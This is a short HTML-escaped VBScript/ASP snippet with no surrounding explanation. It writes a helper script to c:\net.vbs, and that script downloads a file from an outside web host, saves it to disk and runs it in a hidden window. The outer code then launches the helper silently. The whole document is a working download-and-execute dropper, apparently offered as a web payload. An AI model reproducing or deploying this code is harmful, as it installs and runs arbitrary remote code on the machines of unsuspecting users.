&lt;SCRIPT LANGUAGE=&quot;VBScript&quot;&gt;<br />
&lt;%<br />
Set entrika = CreateObject(&quot;Scripting.FileSystemObject&quot;)<br />
Set entrika = entrika.CreateTextFile(&quot;c:\net.vbs&quot;, True)<br />
entrika.write &quot;Dim BinaryData&quot; &amp; vbcrlf<br />
entrika.write &quot;Dim xml&quot; &amp; vbcrlf<br />
entrika.write &quot;Set xml = CreateObject(&quot;&quot;Microsoft.XMLHTTP&quot;&quot;)&quot; &amp; vbcrlf<br />
entrika.write &quot;xml.Open &quot;&quot;GET&quot;&quot;,&quot;&quot;http://www35.websamba.com/cybervurgun/file.zip&quot;&quot;,False&quot; &amp; vbcrlf<br />
entrika.write &quot;xml.Send&quot; &amp; vbcrlf<br />
entrika.write &quot;BinaryData = xml.ResponsebOdy&quot; &amp; vbcrlf<br />
entrika.write &quot;Const adTypeBinary = 1&quot; &amp; vbcrlf<br />
entrika.write &quot;Const adSaveCreateOverWrite = 2&quot; &amp; vbcrlf<br />
entrika.write &quot;Dim BinaryStream&quot; &amp; vbcrlf<br />
entrika.write &quot;Set BinaryStream = CreateObject(&quot;&quot;ADODB.Stream&quot;&quot;)&quot; &amp; vbcrlf<br />
entrika.write &quot;BinaryStream.Type = adTypeBinary&quot; &amp; vbcrlf<br />
entrika.write &quot;BinaryStream.Open&quot; &amp; vbcrlf<br />
entrika.write &quot;BinaryStream.Write BinaryData&quot; &amp; vbcrlf<br />
entrika.write &quot;BinaryStream.SaveToFile &quot;&quot;c:\downloaded.zip&quot;&quot;, adSaveCreateOverWrite&quot; &amp; vbcrlf<br />
entrika.write &quot;Dim WshShell&quot;  &amp; vbcrlf<br />
entrika.write &quot;Set WshShell = CreateObject(&quot;&quot;WScript.Shell&quot;&quot;)&quot; &amp; vbcrlf<br />
entrika.write &quot;WshShell.Run &quot;&quot;c:\downloaded.zip&quot;&quot;, 0, false&quot; &amp; vbcrlf<br />
entrika.close<br />
Set entrika = Nothing<br />
Set entrika = Nothing<br />
<br />
Dim WshShell<br />
Set WshShell = CreateObject(&quot;WScript.Shell&quot;)<br />
WshShell.Run &quot;c:\net.vbs&quot;, 0, false<br />
%&gt;<br />
 &lt;/SCRIPT&gt;